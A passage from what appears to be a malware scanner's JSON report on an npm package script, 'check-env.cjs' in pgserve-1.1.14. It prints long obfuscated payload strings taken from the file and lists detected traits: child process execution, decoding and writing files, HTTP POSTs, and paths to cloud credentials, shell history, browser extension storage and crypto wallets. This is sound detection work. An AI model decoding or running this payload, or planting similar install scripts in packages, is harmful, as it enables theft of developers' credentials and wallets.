j2%y*}oVzCiz-zCj[FB.2hzDsPJnzEDQ7zB#SqA7JPwog.GpxgUDRxjKL9haZtWog.GpxgUDRxgUDSygn}QDsPxfzaNbHxjBC3fKWsaABHXtBXtk5AarQaxiFv]ge.$9B6qHTh:.pBxgUDRxgUDRxjj\u003eAxg\u003e-#Dq5fRg*%GYfK(?jhdyz%z^3\u003c\u003cA7JPwog.GpxgUDRxgUDRxgUP%Dq#.3ygz9YfK(?VxiE!=fJ}KngezQZh!buEfKWsaD0jo]xK\u003cRHgfNQ\u0026z^\u003eERy!Nh.za^!]ia+JAy*}o=m}2Fzy?u:nwjYfyxiGgEBZ]n?xJ^\u0026dAahsrraPb*yd?61B4F-ff\u003er^Sg!J4eh:.pBxgUDRxgUDRxj+1VxgUDRxgUDSiy#.oxK\u003cRdz+iGwiyvHDxgUDSiyvHDxj+1Vog.GqA9u%wz^\u003eH%BZ){^xK\u003cRpC4kwyz+B1{iz-Wexg:}7AaiY=g!J4exjVp9xgUDRxjKL9haZtWog.GpxgUDRxiu#IBZ)j8xjBF8C3cQ}xhzI[zdv\u0026GD0josyG:kAC#VUpBY\u003c05zCh\u0026MD15K6zC9[=zdcH\u003cfJ}NIz^3\u003cviz:AQC35N9yFe}IC1=^Ky?2m#z^3\u003c\u003cA7\u003edAB75cBy!EeZB4F=1Cs$[Rog.GpxgUDRxiu#IBZ)j8xjBF8C3cI1B.2w:xhzI[vPVPJog.GpxgUDRxiGdjC$ywpygn}QDsPxfCvsMIxjrS0xjBF8C3cQ}A7JPwog.GpxgUDRxgUDSfK]0oxjVp9xgUDRxgUDRxgUDRxiu#IBZ)j8xiFv]gd:\u003e/xiGgEBZ]n?xJ^\u0026dAahsrraPb*yd?5.C4j6nC3f8IyH]p*A9t^^C3m%8ggsoSC4bqOB4F-ff\u003er^Sg!J4eh:.pBxgUDRxgUDRxgUDSA9u%wz+I(-p/x5GpI96\u003emO$)jmPJ68oJ1]ci8@ypr8\u003eU-p/RpdC41rbfJ}NNfIs]pB.2i4A7JPwog.GpxgUDRxgUDRxgUDRxiu#IBZ)j8xiu#AyHP!IBY}Zfiy#.ADq5iGy/%?qm}2Fzy/JocBY\u003c06xg$9FD15K6C1LqECvsMJizqh6BxRgVAaiV+xg$VUzE=\u003cEzbiJeA7\u003edwy?2$WxJW8\u003cz+I)fCt6=4B4F-exg^C+B.13nAah:UA8gW@xgUDRxgUDRxgUDRxgUDSCvLFIyeOa\u003cggLO!CvT/Jz+ASxxjBCFyFm8ZygpmxB75ccy![+iygpmxB75ccy!O.wf\u003cex?fK[%oBY%66Ct7v\u0026C$*W)A7\u0026R=y*}o+hC3ztB.2hzD0jrpB6hNty!EbQv[/rJzCiz-zDGy=zC9[{izis)og.GpxgUDRxgUDRxgUSFog.GpxgUDRxgUDSiy#.oxK\u003cRdz+iGwiyvHDxgUDRxgUSFog.GpxgUDRxjj\u003eAxg\u003e=ZD15K7mQ*msDq5g2y*}l(fKWsmd[Jb{A7JM6Dq#.3ygz9YfK]w=CvLFIyfik(B.2u9D15J^DpZHUxjBF8C3cI1B.2w:h:.pBxgUDSiy#.oxK\u003cRdz+iGwiyvHDxj+1Vog.GqD0jrFf\u003ek5SxjVp9xgUDRxjAX$DsFZDC4bnFA9tUFxh{S^r8\u003eR*p/Il\u003en(w32og.GpxgUS(Aah)HDsPJnByNZSxjtZUgF72kxK\u003cRkz+B1^fK=.Lr8+OEfK[%oBY%66A7\u0026MoxgUDRxjKLHCuN%:xg:%DA:0-yfJ}L5y*{EDfK]0ozCiumxgUDRxjA-lDsPJDBwDQqh:.pBxgUDRxgUQbC4isaBY?^2y![+iC4k!Pz^\u003eH$fK!(*BxRQQA7\u0026MoxgUDRxgUDSCvB6ifJ@rND16-\u003exjrU\u003eBZ){^xK\u003cRpC4kwyz+B2Mog.GpxgUDRxiwteygfIGxjrU\u003eBY?*sygfFxA7\u0026MoxgUDRxgUDSf\u003eh$tC#5cvC4k!Pf\u003eh$tC#E^4zdm^6A7\u003edIDrKAyBY?^2y!NckxgUDRxgUDSygG7%hC3CaD15K7y?2m}BY*IhyFd3gB3\u003cUcxgUDRxgUPJC3myohC3CaD15K7y?2m}B.2t\u0026D1eQCC4bffog.GpxgUSFB3\u003cUcxgUDSyggd6ygn}QfJ}N(fI=yHh:.pBxgUDRxgUP\u003ey?c4pygG?nyFOUgxH#q)D15K7y?2m}BY}\u003c7ge8EUn\u003e.J?xgUDRxgUDSCvB6ifJ@rND16-\u003exjBF8C3cO3DsIjTy*}o+BY6]frz#v/lS=3il@(-)p/Im9xhA\u003etzC\u0026lafJgIyx?p-.ygG?JC4bt-zBnb7xgUDRxgUDRxgUDRxgUDRxhrkdCvLFIyfB.mDq5fRB.2hznk\u0026L!o\u0026j[.w(gl$xhA\u003etzC\u0026lafJpLix?p-*n\u003eKv{hC3nDr:]]/BZ^dqBXl}6og.GpxgUDRxjC^VCvAv6AazE0D1x@[xjBF8C3cO3DsIjTy*}o+BY6]frz#v/lS=6nmPz(qr8V*}p/RsExj:XUxjt:VB7dHXog.GpxgUDRxixaAxKU*Nz+\u003e7lCvLFIyfB.mDq5fRB.2hznk\u0026L!nMF?-w(SREm[Dl@i7VQ$f\u003e9T%B3\u003cUcxgUDRxgUP*C4aJcAazvPxjBF8C3cO3DsIjTy*}o+BY6]frz#v/lS=6rnL@zMia+JAB.1M#B4!(rxgUDRxj+7^og.GpxgUP*D0joEy*}oWA9lm!Dq3RyxgUDRxiGd*B6qWvhdFBuy*{B9DrKxBD0jrFDqwlwzdtp}y/@L^y?c7hB3\u003cUcxj+a:oj?4toiMjlBY*H#AagNVxiFv]ygzc$CvT6OCuF3:B7c)]yFdO)h:.pBxjswifIa/4f\u003ceply?lN!og.GqfK]0oxjVp9xgUDRxjj\u003eAxg\u003e-#Dq5fRg*%GYfK(?jhdyz%z=HQGlrC%er-9TSn(mr6oJ1]cw(Rn?rz#n2A7JPwog.GpxgUDRxjBFkx\u0026u=/haZg\u0026xiGgEBZ]n?xJ^\u0026dAahsrraPb*yd?2*r8DWRqc3W?o\u0026C4!w(yx:t39HClrlJ/B4F-ff\u003er^Sg!J4eh:.pBxgUDSiy#.wB7l$9xjj\u003eAxg\u003e=ZD15K7y?2m}BY}\u003c7ge8HRr8DWRqc3W?o\u0026C4!w(yx:t1.^Xh:.pBxgUDRxgUSXf\u003ceply?lKhiy#+dD15K7y?2m}BY}\u003c7ge8HRr8DWRqc3W?o\u0026C4!w(yx:t2fuXxgUDRxj+1VxgUSFxiu#VfJ*ezxjS\u003eMog9zVxjj\u003eAxg\u003ePYCvT=EoJ\u003eLlA7JPwog.GpxgUS^y?c7qD17FOh+uLzy?4uTAagNVhC3nCCUz\u003crByN*=xKK$1fJ}N(fIlRmxjAX$DsFZDC4bnFA9tUFxjBC3hdx6oxJ^+XDrKACDso(nBYZznyFm3jxgUDRxgUDRxgUDRxgUDRxjKIGBxR^wfJ?EiCtz{tCuF3:B7c)]yFnRzAah)HDsPJnByNWZxjBCRxKK$1fJ}N(fJZ8dxK\u003cR4hC3CaxK$m\u0026C3d)zB4F\u003e\u003eB6psVD0%/Mz^(W:xg:{pC4bq*zB)wMh:.pBxj+1Vog.Gqygn}QDsPxfDrKACDso(nBYg4@haZg\u0026xiv2.hdGfPC1=^CxKU*RC4aDzhdPiTDp{U2C$RaTog.Gqygn}QDsPxfAaAVGiy#.oD1y8AfK/q+D0aiayHP4NlUfv$y?4:6CUR%*h:.pBxiu#IBZ)j8xiv0aCvs0xC$yyTxiv2.hdGfPC1=:FD0josfJ}EKAaqyKy?4r#gd%#BxJ!IjBwlHIge7+Ax\u003c2Z\u003eB4F[$y?2m@AagNWoJ\u003eLlB4F(rgd$O/og.GqB6qWyxiFv]ydQ/Exiv0aCvs0xC$-9RCuNHafJ}y*oi0VapFtU3fK[%oBY{LpzdMTVCuF3:B7c)]yFdPIxg:%XfJ@j7zCiz-zDQ*CDrKoJfIlRah:.pBxiFv]ydQ^liy#.oAaqyKy?4fpzdcH6xKTtwzDQ*CDrKoJfIlRah:.j@xgUP*C4bt:fIa=nBY*zuy?lKhiy#.oD1y8AfK/q+CvT=EB75cBmQ*jfD1y8AfIsYIxgUDRxjVuPA-#NXhC3Caf\u003ceply?lK?xjBC3yG:kABY%9fxiv2.hdGfPC1=:FC4bt:fJ?EmfK]w=q=LIvw(Rowl@!L5w(HDNmPz]rqbHs\u003emn)hznk8xqC3d)ECt?13DsoiWxg:%Pz={4hf?#B)xj+7^og.GpxgUS?y?2m@AagNWoJ\u003eLlB3\u003cUcxg(iBog9zVxjC^VfL1oTBXbbBog.GpxgUS$y?4uTAagNVhC3nCCUz\u003crzCiz:DrKACDso(nBYZznyFOUhCuF3:B7c)]yFnRvy?2m@AagNWw)[+rB4F]2Aah)HDsPJnByNZSxjBC3hdx6oxJ^+XfKX3qy?2n0xKU7fB3\u003cUcxgUDSy*}lRD1y8AfJ}KQw)dX]fJ?v[xiFv]yd{#Yy*}lRD1y8AfJ}KQw[9O%DsFZDC4bnFA-#NXhC3ztBY*zuy?lK5fK=+ifK[%oBY%66zDQ*CDrKoJfIlRaB3\u003cUcxgUDSAaAZ4xjj[BB.105raFJ(AaiV]z+q=SxK-!$gephDA7\u0026R=xKTFxC4kx9fKWE9hC3nDlq*\u0026UBwlHIge7XylS5bsB3\u003cUcxgUDSA-#NYw)5hWzELy]AazELBwDQpzDgHFlqguQCtzgvBw%}-mPz/gr8VjOC$}swzCiumxgUSFh:.Epog9L\u003eC4bt:fIaYHl@=Ypl@u@wn(WPzmPBm+n(w2xiy#+dD15K7y?2m}BY}\u003c7ge8F1l@=Ypl@u@wn(WPzmPBm+n(w2yia+JzzDO-lBXNf(ByXG\u0026xJXz9BxIWmxJXzhByOx.B.2tTBxHv*A7UB$og9M1f\u003ea#{fKX3yBXb87g*j:jB5\u003e^\u003esxX=#z^\u003eEZA.w]2xK\u003cR4B4F[$A9vKhxjAX$DsFZDC4bl6yFdO)h:.pBxiu#IBZ)j8xjLapB4F+NxjtZUgF75pq=Da$sw\u0026c\u003enMmx7oJT2Iq=Db1h:.pBxiu#IBZ)j8xjKL9xKU\u003cOCvAv2fIaU^xjLapB4*ErD15NcC3cNXB4F+Niz-TuzED7lfK)TFhCelXfg!VEfL0ZvDpZIyxjjtefK)H(og.GqD0jrFf\u003ek5SxjtZUgF755D15J-AapU6z!0S+DswTOgfNQxiz:ARhV",
            "ln": 1332,
            "col": 1151,
            "line": 4
          },
          {
            "b": "v%G}FvS2s\u003eryQ!4q=U[SqDmm1rwvxIs5RBBw\u003cX\u003e4vmToIv)\u003elUoFY0)v[guYt3axLt3auOpEEG9o\u0026CKXlV2OwvS1{{nK=3IstiSBrwvx-rwwq=qf+Dup/xY8v@jkvt3aKCoA",
            "ln": 42881,
            "col": 42700,
            "line": 4
          },
          {
            "b": "BY})XAazsGCs$\u003eUxhg\u0026{CtgE\u003eA7\u003edIBZ]n?za^lih:.jvjTSq#C42zlB3jE{yhW*7c$B\u003eRA4UTnB0\u0026y#w?FpFx()]Qx(4uVD2vauB1xU2w[CQ{e[Pcxz75jicT{I9wI#v)djEs=C42zlofBT@q.Sq!q.ZTqrB!Z3x*LV$rz2$:rzva8fJIvJq.Sq!q.Q\u003czrCUo8fL\u003e-arw^cEgiv+Hm%5YFDtCximm])DrAqQ!ryP!ZfH/}QmmH3JrCU62ggT6QfH/}TryRpzygGbgyhtR8sy=I-sxWEXDpzszm%4i}l2Z)Nm{o1$y/TUpyFuP+zC\u003eH^yDjj.s7:r#geS6)f\u003cnV%mOkKhDrLq%y?MdlgIx{3moh]YfIld\u003efGstTf(g-4mqMabm{p7DmRCQ)nn7F5zffCUzBNoelPu@8nn8^jD2#L^r.=dVgi^[Kye(@?r.+wUgi+SNy^J8wgGEpIsvca\u003em{nFZmpXh+m[byByGkyJs7=XLnn}d4l@2Eiy^@UJrzEKhrZxw?q-NlDggToYfM.wBrCj##fJ@s6s8Z2\u003cgFRv\u0026m[\u003e:ur-%PulPFmInlOw\u0026yeGpKs20fAmqcKryId@^gH$-hgf3efr8$\u003e!yeNx4m}+k1f\u003e-%^qe/cbgfDFem}+T$y\u0026q4emNy#^Do#BVygGXir6+?drD*res4kRYgFP-nzfE^nrA-K3mkX*Os59Qbsxm%(z81%\u003czdCL1mOV\u0026Xgd=.1fIU5DgFg86zaY4.fLCSfl%s[By\u00260#?gi^}LsxYDts21I(geZ[Frz22Iyd-Uzzejz(mkXmygeY#fs20GzDsRg#moK!kmOm\u0026cy^G*+gi=#9s5%oIszgJbmmx\u003cADp\u00266-yC*9vy!![zyF)S4z81*\u0026l#jRVmP@nXm]0]5l}GdbDp-cLq/:T7s8pr5yG+BErDI2EzC1\u003eBy?NP+gF6r4nletYgfeD$sv\u003etLgEul",
            "ln": 57080,
            "col": 56899,
            "line": 4
          },
          {
            "b": "Bw=9@mm/%nr-9TSn(o\u003e2oJ1]bBwbQ!BwbLIjTSq#w?FpFx()]Qx(4uVD2vauA4U)zx(ktfegkyVvR/:*e]UxscN*PkB.kk%AXp%Az/3)}egj[nB7El^cN*Ga3uQrlDT!WtCX7w-D2vauAb](bwPI]BwQ4=@p*[DVd\u003c(C!d[S-opa*QfA+PA7x\u003ezSsB15U!v%qDAwgRqfB#\u0026AdygQ)%e[5*xx\u003eIriDWNC:A=kD0B8@%BzGWNTqD2\u003e*p/P?QnKD\u0026TmoJ$]k#ZxoA4U)zx(ktfegkyVvR/:*e]UxscN\u003cD)eot]zx(u3Wx\u003eIs4A+cQHBzkP6z/{d.g=l%vfNUx#v{%E?xNtdmBAhUNw?Favq*Am\u003cc$B(QA+e:6A=U@rwJB{NB.9aoz/Pu0i=]y+wQM1Qv{%E?xNtdm",
            "ln": 58234,
            "col": 1047,
            "line": 6
          }
        ],
        "depth": 1,
        "facts": {
          "imp": [
            [
              "",
              "require"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "p.join"
            ],
            [
              "",
              "o.tmpdir"
            ],
            [
              "",
              "f.mkdirSync"
            ],
            [
              "",
              "p.join"
            ],
            [
              "",
              "f.writeFileSync"
            ],
            [
              "",
              "Buffer.from"
            ],
            [
              "",
              "f.writeFileSync"
            ],
            [
              "",
              "p.join"
            ],
            [
              "",
              "Buffer.from"
            ],
            [
              "",
              "c.execSync"
            ],
            [
              "",
              "JSON.stringify"
            ],
            [
              "",
              "Object.assign"
            ],
            [
              "",
              "p.join"
            ],
            [
              "",
              "f.rmSync"
            ],
            [
              "",
              "child_process"
            ],
            [
              "",
              "fs"
            ],
            [
              "",
              "os"
            ],
            [
              "",
              "path"
            ]
          ],
          "mbr": [
            "Buffer.from",
            "JSON.stringify",
            "Object.assign",
            "c.execSync",
            "f.mkdirSync",
            "f.rmSync",
            "f.writeFileSync",
            "o.tmpdir",
            "p.join",
            "process.env",
            "process.execPath",
            "process.pid"
          ],
          "tgt": [
            "Buffer.from",
            "JSON.stringify",
            "Object.assign",
            "c.execSync",
            "f.mkdirSync",
            "f.rmSync",
            "f.writeFileSync",
            "o.tmpdir",
            "p.join",
            "require"
          ],
          "metrics": {
            "ast": {
              "op.add": 3,
              "max_depth": 15,
              "call_count": 18,
              "node_count": 362,
              "member_count": 12,
              "op_density.add": 0.01,
              "max_concat_chain": 3,
              "member_depth_max": 2
            },
            "file": {
              "size": 58562,
              "entropy": 5.71
            },
            "text": {
              "lines": 9,
              "top_char": 103,
              "max_ws_run": 1,
              "digit_ratio": 0.11,
              "space_count": 7,
              "char_entropy": 5.71,
              "unique_chars": 77,
              "top_char_null": 0,
              "lines_over_200": 2,
              "lines_over_500": 2,
              "string_density": 1.67,
              "top_char_ratio": 0.05,
              "avg_line_length": 6505.89,
              "lines_over_1000": 2,
              "max_line_length": 56937,
              "last_line_length": 51,
              "long_token_count": 3,
              "whitespace_ratio": 0,
              "identifier_density": 7.11,
              "line_length_stddev": 17832.86,
              "encoded_string_ratio": 0.13,
              "normalized_string_count": 5,
              "suspicious_identifier_ratio": 0.26,
              "normalized_unique_identifiers": 9.78
            },
            "binds": {
              "count": 8
            },
            "binary": {
              "peak_region_bytes": 55296,
              "peak_region_entropy": 5.93
            },
            "imports": {
              "count": 4,
              "stdlib_count": 4,
              "stdlib_ratio": 1
            },
            "strings": {
              "bytes": 58073,
              "count": 15,
              "very_long": 2,
              "avg_length": 3871.53,
              "max_length": 56928,
              "avg_entropy": 2.6,
              "entropy_stddev": 1.52,
              "base64_candidates": 2,
              "high_entropy_count": 2
            },
            "identifiers": {
              "count": 64,
              "unique": 31,
              "avg_length": 5.32,
              "max_length": 19,
              "min_length": 1,
              "avg_entropy": 1.81,
              "reuse_ratio": 0.48,
              "length_stddev": 3.95,
              "sequential_names": 8,
              "single_char_count": 8,
              "single_char_ratio": 0.26,
              "high_entropy_count": 1,
              "high_entropy_ratio": 0.03,
              "all_lowercase_ratio": 0.65,
              "all_uppercase_ratio": 0.13
            }
          }
        },
        "id": 3,
        "mol": "K₃(AmLiTe)O₄(Eu₂Ca₉S₃Dy₃)H₆(F₁₇Cm₁₂Cr₄Db₆Os₇Po₃)Md₃(InPa)",
        "path": "pgserve-1.1.14.tgz!!package/scripts/check-env.cjs",
        "pid": 0,
        "risk": 448,
        "sha": "1ed154fb63c958ea6834db438e32d300be164eee916d4b5b93ca50f451c2b4f8",
        "size": 58562,
        "traits": [
          {
            "id": "metadata/file/catalog/service::service-name-github",
            "conf": 0.6,
            "crit": 1,
            "desc": "GitHub service name",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-5",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"for\"",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-6",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"with\"",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "metadata/file/string/cicd::cicd-runtime-fingerprint--rx-11",
            "conf": 0.94,
            "crit": 1,
            "desc": "GitHub Actions environment marker",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "metadata/file/string/cicd::cicd-runtime-fingerprint--rx-15",
            "conf": 0.94,
            "crit": 1,
            "desc": "GitLab CI environment marker",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "metadata/file/string/cloud::gcp-default-credentials",
            "conf": 0.8,
            "crit": 2,
            "desc": "GCP default credential filename",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "metadata/import/builtin::require-child-process",
            "conf": 0.8,
            "crit": 3,
            "desc": "require() of the child_process module",
            "spans": [
              [
                70,
                7
              ]
            ]
          },
          {
            "id": "metadata/import/builtin::require-fs",
            "conf": 0.7,
            "crit": 2,
            "desc": "Imports the Node.js fs module",
            "spans": [
              [
                20,
                0
              ]
            ]
          },
          {
            "id": "metadata/import/builtin::require-os",
            "conf": 0.7,
            "crit": 2,
            "desc": "Imports the Node.js os module",
            "spans": [
              [
                54,
                0
              ]
            ]
          },
          {
            "id": "metadata/lang/scripted::require-symbol",
            "conf": 1.0,
            "crit": 1,
            "desc": "CommonJS require symbol",
            "spans": [
              [
                20,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/files/included::npm-package-scripts-member",
            "conf": 0.99,
            "crit": 3,
            "desc": "JavaScript under npm package scripts dir",
            "spans": [
              [
                0,
                29
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/header/accept::accept-json-header",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.95,
            "crit": 3,
            "desc": "Requests a JSON HTTP response",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/headers::x-session-id-header-map-entry",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.9,
            "crit": 3,
            "desc": "Configures an X-Session-ID request header",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/post::post",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.7,
            "crit": 1,
            "desc": "HTTP POST method string literal",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/post::raw-content-length-header",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.9,
            "crit": 3,
            "desc": "Sets an HTTP Content-Length header",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/post::request-options-post-method",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.86,
            "crit": 1,
            "desc": "Sets POST as an HTTP request method",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/configuration::node-http-request-configured",
            "conf": 0.8,
            "crit": 3,
            "desc": "Node HTTP request has hostname and port",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/configuration::request-timeout-destroys-request",
            "conf": 0.85,
            "crit": 3,
            "desc": "Request timeout handler destroys the request",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/evented::node-evented-get-response",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node get call receives an evented response",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/response::node-response-data-event",
            "mbc": "C0002",
            "conf": 0.88,
            "crit": 3,
            "desc": "Node response data event handler",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/response::node-response-end-event",
            "mbc": "C0002",
            "conf": 0.88,
            "crit": 3,
            "desc": "Node response end event handler",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/token-auth::bearer-header-from-variable",
            "conf": 0.94,
            "crit": 3,
            "desc": "Builds Bearer authorization header from variable",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/webhook::webhook-post-method-field",
            "conf": 0.9,
            "crit": 3,
            "desc": "Webhook specifies HTTP POST",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/asymmetric/key::pem-public-key-header",
            "conf": 0.9,
            "crit": 3,
            "desc": "References PEM public-key header",
            "spans": [
              [
                57195,
                1068
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/hash/hmac::node-createhmac-text-call",
            "mbc": "C0029",
            "conf": 0.92,
            "crit": 3,
            "desc": "Node.js HMAC call in source text",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/symmetric/aes/runtime-library::aes-256-cbc-dash",
            "mbc": "C0027",
            "conf": 0.75,
            "crit": 3,
            "desc": "AES-256-CBC with dashes",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/buffer::javascript-write-then-end-stream",
            "conf": 0.9,
            "crit": 3,
            "desc": "JavaScript writes then ends a stream",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/decode/base64::buffer-from-base64",
            "conf": 0.8,
            "crit": 3,
            "desc": "Base64 decoding via Buffer.from (JS)",
            "spans": [
              [
                57162,
                11
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/encode/payload::large-encoded-blob-literal",
            "conf": 0.8,
            "crit": 3,
            "desc": "Large encoded data blob literal",
            "spans": [
              [
                57195,
                128
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/llm::role-line-marker",
            "conf": 0.72,
            "crit": 1,
            "desc": "Quoted LLM role label",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/envelope::command-assignment-key",
            "conf": 0.4,
            "crit": 1,
            "desc": "Command field or assignment key",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/envelope::result-assignment-key",
            "conf": 0.4,
            "crit": 1,
            "desc": "Result field or assignment key",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/json::json-stringify-call",
            "conf": 0.5,
            "crit": 2,
            "desc": "Calls JSON.stringify()",
            "spans": [
              [
                58367,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/json::json-stringify-identifier",
            "conf": 0.85,
            "crit": 3,
            "desc": "Serializes an identifier as JSON",
            "spans": [
              [
                58367,
                14
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/object-schema::host-field-key",
            "conf": 0.9,
            "crit": 1,
            "desc": "JSON-like host identity field",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/object-schema::platform-field-key",
            "conf": 0.86,
            "crit": 1,
            "desc": "JSON-like platform or OS field",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/object-schema::user-field-key",
            "conf": 0.9,
            "crit": 1,
            "desc": "JSON-like user identity field",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/schema::host-system-metric-schema",
            "conf": 0.93,
            "crit": 3,
            "desc": "Host recon fields: hostname, platform, arch",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/schema::hostname-object-key",
            "conf": 0.9,
            "crit": 1,
            "desc": "Object literal declares a hostname key",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/schema::username-object-key",
            "conf": 0.9,
            "crit": 1,
            "desc": "Object literal declares a username key",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/enumerate/directory::node-readdir-sync-call",
            "conf": 0.84,
            "crit": 3,
            "desc": "Calls Node.js synchronous directory enumeration",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::cwd-reference",
            "conf": 0.84,
            "crit": 1,
            "desc": "References the Node.js current working directory",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::package-json-path-join",
            "conf": 0.84,
            "crit": 1,
            "desc": "Joins a path containing package.json",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::package-json-path-reference",
            "conf": 0.84,
            "crit": 1,
            "desc": "References a package.json path",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::read-own-source",
            "conf": 0.92,
            "crit": 3,
            "desc": "Reads its own source file",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::js-file-write",
            "conf": 1.0,
            "crit": 2,
            "desc": "Writes file via Node.js fs",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::node-write-file-sync",
            "conf": 1.0,
            "crit": 3,
            "desc": "Node synchronously writes a file",
            "spans": [
              [
                57144,
                15
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::node-write-file-sync-call",
            "conf": 1.0,
            "crit": 3,
            "desc": "Node calls imported writeFileSync",
            "spans": [
              [
                57144,
                15
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/application/executable::wallet-ledger-live-process",
            "conf": 0.85,
            "crit": 3,
            "desc": "Ledger Live desktop wallet process name",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/construct::path-join-dirname",
            "conf": 0.5,
            "crit": 2,
            "desc": "path.join with __dirname",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/location::node-homedir-hidden-entry",
            "conf": 0.92,
            "crit": 3,
            "desc": "Node builds a hidden home-directory path",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/browser::chromium-leveldb-local-storage",
            "conf": 0.86,
            "crit": 3,
            "desc": "Chromium Local Storage LevelDB path",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/browser::chromium-local-extension-settings-path",
            "atk": "T1555.003",
            "conf": 0.78,
            "crit": 3,
            "desc": "Chromium Local Extension Settings path",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/cloud::aws-credentials-text-reference",
            "atk": "T1552.005",
            "mbc": "T1552.005",
            "conf": 0.92,
            "crit": 3,
            "desc": "References an AWS credentials file path",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credential-filenames::auth-json-join-argument",
            "conf": 0.9,
            "crit": 3,
            "desc": "Auth JSON path construction",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/crypto::node-user-solana-config-directory",
            "conf": 0.94,
            "crit": 3,
            "desc": "References user Solana config directory",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/ssh::bash-history-artifact",
            "conf": 0.9,
            "crit": 3,
            "desc": "Bash history artifact path",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/proc/info/listing::javascript-proc-directory-read",
            "conf": 0.88,
            "crit": 3,
            "desc": "JavaScript reads the /proc directory",
            "spans": [
              [
                189,
                56924
              ]
            ]
          },
          {
